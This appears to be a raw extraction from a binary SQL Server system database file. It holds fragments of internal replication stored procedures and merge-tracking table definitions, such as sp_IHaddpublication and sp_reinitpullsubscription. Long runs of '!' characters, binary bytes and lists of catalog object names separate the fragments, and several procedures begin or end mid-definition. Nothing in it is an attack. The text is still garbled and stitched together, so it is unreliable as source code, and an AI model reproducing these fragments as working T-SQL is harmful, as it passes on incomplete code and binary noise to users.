			tablenick			int not null,
			rowguid				uniqueidentifier not null,
            changetype          tinyint null, -- bcp fails if this is not null
			changed				int not null,
			rowvector			varbinary(11) null,
			changedcolumns		varbinary(128) null,
			columns_enumeration	tinyint not null, -- COLUMNS_ENUMERATED
			-- sync_cookie is set upon enumerating a change. It allows to determine
			-- for what publisher/publication the upload takes place.
			sync_cookie			int null
		)
		if @@error <> 0 goto Error
		exec dbo.sp_MS_marksystemobject MSmerge_rowtrack
		if @@error <> 0	goto Error
		grant select on dbo.MSmerge_rowtrack to public

		create unique clustered index ucMSmerge_rowtrack on dbo.MSmerge_rowtrack(tablenick, rowguid)
		if @@error <> 0 goto Error
	end

    exec @retcode = sys.sp_MSmerge_create_sub_table
	if @@error<>0 or @retcode<>0 goto Error
	
    exec @retcode = sys.sp_MSmerge_create_pub_table
	if @@error<>0 or @retcode<>0 goto Error
    
	if object_id('dbo.MSmerge_filteringcolumns_lightweight', 'U') is null
	begin
		create table dbo.MSmerge_filteringcolumns_lightweight
		(
			publication_id		uniqueidentifier not null,
			tablenick 			int not null,
			column_id	int not null
		)
		if @@error <> 0 goto Error

		exec dbo.sp_MS_marksystemobject MSmerge_filteringcolumns_lightweight
		if @@error <> 0	goto Error
		grant select on dbo.MSmerge_filteringcolumns_lightweight to public
	end
	
	if object_id('dbo.MSmerge_idrange', 'U') is null
	begin
		create table dbo.MSmerge_idrange
		(
			objid			int not null primary key, -- Creates a clustered index.
			max_identity	bigint null,
			range			bigint null,
			threshold		int null
		)
		if @@error <> 0 goto Error
		exec dbo.sp_MS_marksystemobject MSmerge_idrange
		if @@error <> 0	goto Error
		grant select on dbo.MSmerge_idrange to public
	end

	if object_id('dbo.MSmerge_supportability_settings', 'U') is null
    begin
        create table dbo.MSmerge_supportability_settings (
	            pubid                uniqueidentifier    NULL,
	            subid                uniqueidentifier    NULL,
	            web_server    		 sysname             NULL,                
	            constraint           unique_supportpubsrvdb     unique nonclustered (pubid, subid, web_server),
	            support_options      int NOT NULL default(0),	-- check the SUPPORT_OPTIONS enum in agent code.
                log_severity		 int NOT NULL default(2),
                log_modules			 int NOT NULL default(0),
                log_file_path		 nvarchar(255) NULL,
                log_file_name		 sysname NULL,
                log_file_size		 int NOT NULL default(10000000),
                no_of_log_files		 int NOT NULL default(5),
                upload_interval 	 int NOT NULL default(0),
                delete_after_upload	 int NOT NULL default(0),                    
                custom_script		 nvarchar(2000) NULL,
                message_pattern              nvarchar(2000) NULL,
                last_log_upload_time datetime            NULL,
                agent_xe               varbinary(max) NULL,
                agent_xe_ring_buffer  varbinary(max) NULL,
                sql_xe                   varbinary(max) NULL
                )
        if @@ERROR <> 0 goto Error

        exec dbo.sp_MS_marksystemobject MSmerge_supportability_settings            
        --grant select on dbo.MSmerge_supportability_settings to public
    end

	if object_id('dbo.MSmerge_log_files', 'U') is null
    begin
        create table dbo.MSmerge_log_files (
                id 					 int identity(1,1),
	            pubid                uniqueidentifier    NULL,
	            subid                uniqueidentifier    NULL,
	            web_server		     sysname			 NULL,
	            file_name            nvarchar(2000)      NOT NULL,
	            upload_time 		 datetime 			 NOT NULL default getdate(),
	            log_file_type	     int    			 NOT NULL, -- Check UPLOAD_LOG_FILE_TYPE enum in agent code.
	            log_file			 varbinary(max) 	 NULL
                )
        if @@ERROR <> 0 goto Error

        create clustered index ucMSmerge_log_files on MSmerge_log_files(pubid, subid, id) 
        if @@ERROR <> 0 goto Error

        exec dbo.sp_MS_marksystemobject MSmerge_log_files            
        --grant select on dbo.MSmerge_log_files to public
    end

	if object_id('dbo.MSsubscription_properties', 'U') is null
	begin
		exec @retcode= sys.sp_MScreate_subscription_properties_table
		if @@error <> 0 or @retcode <> 0 goto Error
	end
	
	if object_id('dbo.sysmergeschemaarticles', 'U') is null
	begin
		exec @retcode= sys.sp_MScreate_sysmergeschemaarticles_table
		if @@error <> 0 or @retcode <> 0 goto Error
	end
	
    if object_id('dbo.sysmergeextendedarticlesview', 'V') is not null
        drop view dbo.sysmergeextendedarticlesview
	if @@error<>0 goto Error

	exec @retcode= sys.sp_MScreate_sysmergeextendedarticlesview
	if @@error<>0 or @retcode<>0 goto Error

	return(0)

Error:
	raiserror(20008, 16, -1)
	return(1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!a`DE<!F=;U0z }8
--
-- Name:
--		sp_IHaddpublication
--
-- Description:
--		Creates a snapshot or transactional publication. This stored procedure is executed at
--		the Publisher on the publication database.
--
-- Security:
--		Internal only
-- Requires Certificate signature for catalog access
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Notes:
--		Re-directs to call sp_MSrepl_addpublication in the correct db context (distributor for HREPL)
--

CREATE PROCEDURE sys.sp_IHaddpublication
(
	@name							sysname,
	@publisher						sysname,
	@rfid							int = 1,					-- repl freq 0 = Tran based, 1 = sched table refresh
	@statid							tinyint = 0,				-- status id  0 = inactive, 1 = active
	@sync_method_id					tinyint = 1,				-- default to character
	@enabled_for_internet_id		bit = 0,
    @allow_sync_tran				bit = 0,
	@autogen_sync_procs				bit = 0,					-- sync procs defaulting to false for het. pubs
	@snapshot_in_defaultfolder_bit	int = 1,
	@alt_snapshot_folder			nvarchar(255) = NULL,
	@pre_snapshot_script			nvarchar(255) = NULL,
	@post_snapshot_script			nvarchar(255) = NULL,
	@compress_snapshot_bit			bit = 1,
    @ftp_address					sysname = NULL,
    @ftp_port						int = 21,
    @ftp_subdirectory				nvarchar(255) = NULL,
    @ftp_login						sysname = N'anonymous',
	@enc_ftp_password				nvarchar(524) = NULL,
	@allow_dts_id					bit = 0,
	@allow_anonymous_id				bit = 0,
	@description					nvarchar(255) = NULL,
	@independent_agent				bit,
	@immediate_sync					bit,
	@allow_push						bit,
	@allow_pull						bit,
	@retention						int,
	@allow_subscription_copy		bit,
	@options						int = 0
)
as
BEGIN
    set nocount on

	DECLARE @publication_id int
	DECLARE @LinkedServer	sysname
	DECLARE @retcode		int

    /*
    ** Parameter Check:  @sync_method.
    **           1  concurrent
    **           4  concurrent_c
    */
    IF @sync_method_id IS NULL OR @sync_method_id NOT IN (1,4)
    BEGIN
        RAISERROR (21612, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check:  @enabled_for_internet_id.
    **           0  Not enabled for internet
    **           1  enabled for internet
    */
    IF @enabled_for_internet_id IS NULL OR @enabled_for_internet_id NOT IN (0,1)
    BEGIN
        RAISERROR (14148, 16, -1, '@enabled_for_internet')
        RETURN (1)
    END

    /*
    ** Parameter Check:  @snapshot_in_defaultfolder_bit.
    **           0  Not enabled for internet
    **           1  enabled for internet
    */
    IF @snapshot_in_defaultfolder_bit IS NULL OR @snapshot_in_defaultfolder_bit NOT IN (0,1)
    BEGIN
        RAISERROR (14148, 16, -1, '@snapshot_in_defaultfolder')
        RETURN (1)
    END

    /*
    ** Parameter Check:  @alt_snapshot_folder.
	** required if enabled for internet
    */
    IF @enabled_for_internet_id = 1 AND (@alt_snapshot_folder IS NULL OR
        @alt_snapshot_folder = N'')
        BEGIN
            RAISERROR (21159, 16, -1)
            RETURN (1) 
        END

    /*
    ** Parameter Check:  @compress_snapshot_bit.
    **           0  do not compress
    **           1  compress snapshot
    */
    IF @compress_snapshot_bit IS NULL OR @compress_snapshot_bit NOT IN (0,1)
    BEGIN
        RAISERROR (14148, 16, -1, '@compress_snapshot')
        RETURN (1)
    END

    -- Parameter check: ftp_address
    -- If the publication is enabled for internet, ftp_address cannot be null
    IF @enabled_for_internet_id = 1 AND (@ftp_address IS NULL OR @ftp_address = N'')
    BEGIN
        RAISERROR (21158, 16, -1)
        RETURN (1)
    END     

    -- Parameter check: ftp_port
    IF @ftp_port IS NULL or @ftp_port < 0 or @ftp_port > 65535
    BEGIN
        RAISERROR (21160, 16, -1)
		RETURN(1)
    END

    /*
    ** Parameter Check:  @allow_dts_id.
    **           0  No not allow DTS
    **           1  allow DTS
    */
    IF @allow_dts_id IS NULL OR @allow_dts_id NOT IN (0,1)
    BEGIN
        RAISERROR (14148, 16, -1, '@allow_dts')
        RETURN (1)
    END

    /*
    ** Parameter Check:  @allow_anonymous_id.
    **           0  No not allow anonymous subscribers
    **           1  allow anonymous subscribers
    */
    IF @allow_anonymous_id IS NULL OR @allow_anonymous_id NOT IN (0,1)
    BEGIN
        RAISERROR (14148, 16, -1, '@allow_anonymous')
        RETURN (1)
    END

    /*
    ** Parameter Check:  @autogen_sync_procs.
    **   must be 0  Do not allow autogen procs
    */
    IF @autogen_sync_procs IS NULL OR @autogen_sync_procs <> 0
    BEGIN
        RAISERROR (14148, 16, -1, '@autogen_sync_procs')
        RETURN (1)
    END

	-- Get the publication ID from MSpublications
	SELECT @publication_id = pubs.publication_id
	FROM   MSpublications pubs
	JOIN master.dbo.sysservers srv ON pubs.publisher_id = srv.srvid
	WHERE  pubs.publication = @name
	  AND  UPPER(srv.srvname collate database_default) = UPPER(@publisher)

    IF @publication_id is NULL
    BEGIN
        raiserror (20026, 16, -1, @name)
        return (1)
    END

	-- now that the publisher is updated we can update the distributor	
	INSERT INTO IHpublications 
	        (pubid	                
		    ,name
		    ,repl_freq        
		    ,status
			,sync_method
		    ,snapshot_jobid
		    ,enabled_for_internet
            ,immediate_sync_ready
			,allow_queued_tran
			,allow_sync_tran
			,autogen_sync_procs
		    ,snapshot_in_defaultfolder
		    ,alt_snapshot_folder
		    ,pre_snapshot_script
		    ,post_snapshot_script
		    ,compress_snapshot
		    ,ftp_address
		    ,ftp_port
		    ,ftp_subdirectory
		    ,ftp_login
		    ,ftp_password
		    ,allow_dts
			,allow_anonymous
			,description
			,independent_agent
			,immediate_sync
			,allow_push
			,allow_pull
			,retention
			,allow_subscription_copy
			,options
	       )
      VALUES
           (@publication_id
			,@name
			,@rfid
			,@statid
			,@sync_method_id
			,NULL
			,@enabled_for_internet_id
            ,0
			,0
			,@allow_sync_tran
			,@autogen_sync_procs
			,@snapshot_in_defaultfolder_bit
			,@alt_snapshot_folder
			,@pre_snapshot_script
			,@post_snapshot_script
			,@compress_snapshot_bit
			,@ftp_address
			,@ftp_port
			,@ftp_subdirectory
			,@ftp_login
			,@enc_ftp_password   
			,@allow_dts_id
			,@allow_anonymous_id
			,@description
			,@independent_agent
			,@immediate_sync
			,@allow_push
			,@allow_pull
			,@retention
			,@allow_subscription_copy
			,@options
           )

	-- Get the linked server for this
	-- EXECUTE @retcode = IHgetlinkedserver @publication = @publication, @linkedserver = @linkedserver OUTPUT
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<TG0e J8
create procedure sys.sp_reinitpullsubscription (
    @publisher sysname,
    @publisher_db sysname = NULL,
    @publication sysname = 'all'                       /* publication name */
    )AS

    SET NOCOUNT ON
    
    declare @subscription_type int    
    declare @sync_type tinyint
    
    /*
    ** Security Check
    */
    
      declare @retcode     int  
    EXEC @retcode = sys.sp_MSreplcheck_subscribe
    IF @@ERROR <> 0 or @retcode <> 0
        RETURN(1)

    /*
    ** Initializations.
    */
   
    /*
    ** Parameter Check: @publisher
    ** Check to make sure that the publisher is define
    */
    IF @publisher IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publisher', 'sp_reinitpullsubscription')
        RETURN (1)
    END

    IF @publisher = 'all'
    BEGIN
        RAISERROR (14136, 16, -1)
        RETURN (1)
    END

    EXECUTE @retcode = sys.sp_validname @publisher

    IF @@ERROR <> 0 OR @retcode <> 0
       RETURN (1)
    
    /*
    ** Parameter Check: @publisher_db
    */
    IF @publisher_db = 'all'
    BEGIN
        RAISERROR (14136, 16, -1)
        RETURN (1)
    END

    IF @publisher_db IS NOT NULL
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publisher_db
        IF @@ERROR <> 0 OR @retcode <> 0
            RETURN (1)
    END
    ELSE
    BEGIN
        -- @publisher_db is NULL for Oracle publishers only
        SET @publisher_db = @publisher
    END

    /*
    ** Parameter Check: @publication
    ** 
    */
    IF @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_reinitpullsubscription')
        RETURN (1)
    END

    IF LOWER(@publication) = 'all'
        select @publication = '%'
    ELSE
    BEGIN
        EXECUTE @retcode = sys.sp_validname @publication

        IF @@ERROR <> 0 OR @retcode <> 0
        RETURN (1)
    END

    -- Peer-To-Peer subscriptions cannot be reinited
    IF OBJECT_ID(N'MSpeer_lsns', 'U') is not NULL
    BEGIN
        -- Check if we should raise an
        IF exists(select * 
                    from MSpeer_lsns
                    where originator = UPPER(@publisher)
                        and originator_db = @publisher_db
                        and originator_publication like @publication)
        BEGIN
            -- Subscriptions to publications that are enabled for ''Peer-To-Peer'' cannot be reinitialized.
            raiserror(20801, 16, -1)
            return (1)
        END        
    END
    
    IF NOT EXISTS (SELECT * FROM  MSreplication_subscriptions 
                WHERE UPPER(publisher) = UPPER(@publisher) AND
                      publisher_db  = @publisher_db AND
                      publication like @publication )
    BEGIN
            RAISERROR(14135, 11, -1,  @publisher, @publisher_db, @publication)
            RETURN(1)
    END
        
    select @sync_type = immediate_sync 
        from MSreplication_subscriptions
        WHERE UPPER(publisher) = UPPER(@publisher) AND publisher_db  = @publisher_db AND publication like @publication 

    IF @sync_type = 0
    BEGIN
        raiserror(21059, 16, -1)
        return (1)
    END
    
    -- 
    -- Since it is the user's desire to reinitialize the pull subscriptions,
    -- we should make sure that new snapshots are delivered from scratch
    -- to this subscription database by resetting the snapshot delivery
    -- progress table.
    --
    exec @retcode = sys.sp_resetsnapshotdeliveryprogress
    if @retcode <> 0 or @@error <> 0
        return (1)

    UPDATE MSreplication_subscriptions set 
        transaction_timestamp = cast(0x00 as binary(15)) + cast(substring(transaction_timestamp, 16, 1) as binary(1))
        WHERE UPPER(publisher) = UPPER(@publisher) AND
                      publisher_db  = @publisher_db AND
                      publication like @publication
    if @@ERROR<>0 
        RETURN (1)

    -- Reset the attach state so that the distribution agent will not adjust attach state.
    if @publication <> '%'
    begin
        select @subscription_type = subscription_type from MSreplication_subscriptions
            WHERE UPPER(publisher) = UPPER(@publisher) AND
                          publisher_db  = @publisher_db AND
                          publication = @publication and
                          -- Don't do this for push
                          subscription_type <> 0
        if @subscription_type is not null
        begin
            exec @retcode = sys.sp_MSreset_attach_state 
                @publisher = @publisher,
                @publisher_db = @publisher_db,
                @publication = @publication,
                @subscription_type = @subscription_type
            if @retcode <> 0 or @@error <> 0
                return (1)
        end
    end
0h 8CREATE FUNCTION sys.fn_MSxe_read_event_stream (
	@source nvarchar(260),
	@source_opt int = 0
)
RETURNS table
AS
	RETURN SELECT *
	FROM OpenRowSet(TABLE FN_MSXE_READ_EVENT_STREAM, @source, @source_opt)
0'z 8create procedure sys.sp_MSreset_queued_reinit 
(
    @subscriber      sysname,                    -- subscriber server name
    @subscriber_db   sysname,                -- subscribing database name. 
    @artid    int                                   -- article id
)
as
begin
    set nocount on
    declare @retcode int
                ,@publication sysname
    --
    -- PAL security check
    -- Get publication name using artid
    --
    select @publication = p.name
    from syspublications p join sysarticles a on p.pubid = a.pubid
    where a.artid = @artid
    if (@publication is null)
    begin
        return (1)
    end
    exec @retcode = sys.sp_MSreplcheck_pull @publication = @publication
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end
    --
    -- Validate @subscriber
    --
    --
    -- validate @subscriber_db, @artid
    --
    if exists (select * 
        from dbo.syssubscriptions
        where artid = @artid 
            and srvname = UPPER(@subscriber) 
            and dest_db = @subscriber_db)
    begin
        --
        -- set the reinit flag
        --
        update dbo.syssubscriptions
        set queued_reinit = 0
        where artid = @artid 
            and srvname = UPPER(@subscriber) 
            and dest_db = @subscriber_db
        if (@@error != 0)
            return (1)
    end
    else
    begin
        return (1)
    end
    --
    -- all done
    --
    return (0)
end            
0@ 8create procedure sys.sp_user_counter10 @newvalue int as
dbcc setinstance ('SQLServer:User Settable', 'Query', 'User counter 10', @newvalue)
0S@ X8
--
-- Name:    
--          sp_enable_heterogeneous_subscription
--          
-- Description: 
--          Enable or disable publication properties for
--			supporting heterogeneous subscriptions.
--  
-- Security: 
--          sysadmin or DBO of publisher db
--
-- Returns:
--      
-- Owner:   
--          <current owner> 
--

create procedure sys.sp_enable_heterogeneous_subscription
(
    @publication	sysname = NULL,
    @publisher		sysname = NULL
) 
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_enable_heterogeneous_subscription'
	
	EXEC @retcode = @cmd
					@publication,
					@publisher,
					@publisher_type

	RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Y`h0A"~H]/=00bCP ۸Ipsp_MSinit_publication_access00P Zsp_droprolemember00|P rsp_MSadduser_implicit_ntlogin00JP Rsp_columns_9000P ahsp_MSmerge_ddldispatcher00
P ccsp_decimal_estimate_savings_for_table00BX PDHItsp_commit_parallel_nested_tran00&IFdfn_remote_foreign_keys00xP fffsp_MSsubst_filter_names00P ';hsp_checkinvalidivarticle00	P Zsp_MScopyregvalue00Z)V ''dm_hadr_availability_replica_cluster_nodes00%3X yyLxp_enumdsn00DP sp_MScreate_sysmergeextendedarticlesview00EV 4?4?Nparameters$00|GU b_dm_pdw_exec_requests00%rXP p`sp_getProcessorUsage001cP /JXsp_MSrestore_sub00kP R[l[`sp_assemblies_rowset00vV ddm_fts_active_catalogs00!zP 33sp_MScreate_replication_checkup_agent00P|V rdm_tran_database_transactions00P sp_MSrepl_changepublication_snapshot00́P lsp_MSrepl_changesubscriber00PC$$vsp_MSscriptcustomupdproc_sqlclr00uP @Ansp_check_constraints_rowset00g*V |}tdm_filestream_file_io_requests00P yZsp_MSfix_6x_tasks00X jyjyLxp_dsninfo00vX MMHxp_msver00TPCddsp_MSgeneratenosyncsubscriptionsetupscript_sqlclr00@gV #0`dm_pdw_exec_requests00HP ٧Psp_configure00YV Žtdm_pdw_nodes_os_memory_objects00P NÒZsp_addremotelogin00P Xsp_datatype_info00dP jsp_MSprocesspublisherlink00dIFZfn_remote_indexes00{5
P -Xsp_addsubscriber00镧P dsp_enumfullsubscribers00ʎP 5zsp_MSrepl_addsubscription_article00ҧP Obsp_MSscript_beginproc00tP dfsp_scriptdynamicupdproc00l`P \nhsp_MSpub_adjust_identity00IɠP ,u lsp_MSdeletetranconflictrow00)XP xDbsp_ivindexhasnullcols004P 0Rsp_MSactivateprocedureexecutionarticleobject00\P >>fsp_IHscriptupdateparams00P xsp_get_Oracle_publisher_metadata00-̲P vsp_MSissnapshotjobnamegenerated00=8P yxsp_MSdrop_dynamic_snapshot_agent00߯P ujsp_MSIfExistsSubscription00%)4P 3iXjsp_MSget_snapshot_history00s@P UUjsp_hadr_get_current_error00WAP WWnsp_MScdc_ddl_server_trigger00kzP Xsp_MSdrop_sctres00MajP u^sp_MSuniquetempname00P Psp_MSis_joinfilter_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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!dVH

$
zB`($
D
	X	dRH8"d~nLV*NRB`k0E"2DI_/CB00_P BRsp_addapprole007V 
s+sbavailability_replicas00*U 
\_dm_pdw_os_threads005V >\`dm_os_spinlock_stats00
FNPPtfn_MSrepl_is_workgroup_edition00v	P rsp_changepublication_snapshot00ZV ίndm_database_encryption_keys00&P qqVsp_IHgetversion00wXP LLVsp_helplanguage00E1\FN^fn_chariswhitespace00ȳcX PDHIrsp_begin_parallel_nested_tran005oV |dm_pdw_nodes_tran_current_snapshot00uP ztsp_reinitmergepullsubscription00zFN__`fn_add_units_to_date00uP 22Zsp_MSfixupftpinfo009P ppvsp_MSrepl_clean_replication_bit00әP ^sp_fulltext_service000P -/lsp_MScache_agent_parameter00CʫP EI`sp_create_plan_guide00P Xsp_IHarticleview00]PIF::fdm_exec_text_query_plan00XWP nsp_MShelpsummarypublication00V r%r^availability_groups00&IP `zfsp_MSrepl_PAL_rolecheck00P UUsp_MScheckcontext_merge_identityrangeddlbit00P kksp_MSmergepullsubscriptionagentjobcontrol00V ~dm_pdw_nodes_db_session_space_usage00P Vzsp_MSscriptpublicationcustomprocs00'U f_pdw_loader_backup_runs00<U !!_dm_pdw_component_health_active_alerts00oEV |zzBVIEWS00SV |dm_pdw_nodes_os_buffer_descriptors00aP FIbsp_control_plan_guide00eP sp_MSsubscription_enabled_for_syncmgr00tP RBZsp_MScopysnapshot00*тX j`sp_releaseschemalock00V 9.9.Xspt_indexes_view00P Tsp_refreshview00}ȟU d_dm_pdw_query_stats_xe00<P ~=tsp_MSrepl_refreshsubscriptions00	P kZ`sp_scriptinsproccore002P L^zsp_script_reconciliation_vdelproc00P n,Zsp_helparticledts00:P v=lsp_MSgetarticlereinitvalue00xP nnnsp_IHscriptreconwhereclause00
sFN$$fn_replgetNumMergesubscriptionsNowSyncingOnPublication00zFN˧˧fn_replgetWorstWarningExpirationMergesubscriptionsOnPublication00
P sp_MSpeerconflictdetection_topology_applyresponse00~X //Zxp_decodequeuecmd00/P 	Vfsp_MSdrop_merge_agentid00.P Jehsp_MSupdate_subscription00>P i~hsp_MSdrop_snapshot_agent00MTP 1YZsp_MSenum_qreader00P 
^sp_MSadd_repl_alert00&P fsp_update_agent_profile00P .bsp_MSadd_tracer_token00P r0lsp_MSdelete_tracer_history00}P C2'Zdsp_MSispeertopeeragent00xLP jGjGpsp_MSsnapshotagentjobcontrol003P IZpsp_MSstartdistribution_agent00P nnzsp_processlogshippingmonitorerror00P rsp_cdc_disable_table_internal00aP RRjsp_MSallocate_one_idrange00SP DZbsp_MScleanup_conflict00EP 12sp_MSget_dynamic_filtering_information00MOIP YYXsp_MSenumretries00WiP }Xsp_MSmakectsview00
-P )|sp_MScreatelightweightarticleprocs00& X 6fxp_enum_oledb_providers!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!0.v


@Pdp
h
	t		2BbJf
.zF$DpTbvv`0mB"J(!c00{H>P wwpsp_refreshsqlmodule_internal00M>P ,`sp_MSrepl_addarticle00&?V 'ldm_pdw_nodes_exec_sessions008%@P t6Xsp_changearticle009BNFNqjfn_MSrepl_istranpublished00oPP c~sp_MScleanupmergepublisher_internal00&VFN=`=`nfn_subtract_units_from_date00vPCuudsp_printagentstatement009wP ZTsp_tableoption00ƋP FFsp_MSispulldistributionjobnamegenerated00X MtH{Txp_replposteor00`1P )fsp_dropextendedproperty00BTFbfn_servershareddrives00X upp\sp_trace_setstatus00tX lsp_fulltext_pendingchanges00qX ~~sp_filestream_force_garbage_collection_internal00P xzPsp_MStestbit00BP ggsp_MSrepl_MSSQL_DB2_datatypemappings00P tsp_add_file_recover_suspect_db00TV 
'\pdw_table_mappings007IF6j6jbfn_ft_thesaurus_files00H\P m^sp_MScopyscriptfile00{V ;d;dspt_procedure_params_return_values_view00k)P ۟rsp_helpdistributor_properties00P Xsp_articlecolumn00FNXrXr`fn_MSmerge_Fix80Colv00sP \sp_helpdbfixedrole00U MMv_dm_pdw_os_performance_counters00'P }bsp_dropdistributiondb00P z~sp_MSrecordsnapshotdeliveryprogress00!FNttffn_IHGenerateUniqueName00W#U =Zspt_datatype_info001f/@P 
	
	zsp_MSdumpscripttabletonvarcharmax00"32V kqkq~dm_hadr_internal_transport_partners00Z6U 		t_pdw_loader_backup_run_details00"F@X MMJxp_sscanf00;SFP ;zZsp_MSset_sub_guid00MP )H\sp_vupgrade_distdb009{pP %s^sp_create_removable00oP ;bsp_addlogreader_agent00hP Zbsp_MSquery_syncstates00`hP `dsp_MSdrop_subscription00y/P {lsp_MSdistribution_counters00FP rsp_MSadd_distribution_history00/PP %Y`sp_MSinsert_identity00FKP 
3'Zhsp_MSupdatecachedpeerlsn00NJP ;DZ^sp_addqreader_agent00bTP dwsp_MSprocesslogshippingmonitorsecondary00n,FNrfn_cdc_compute_low_water_mark00dP ԳԳlsp_cdc_change_data_capture00&P @xsp_cdc_generate_wrapper_function00P x\sp_MSuniquecolname00kLP bsp_MSaddupdatetrigger00
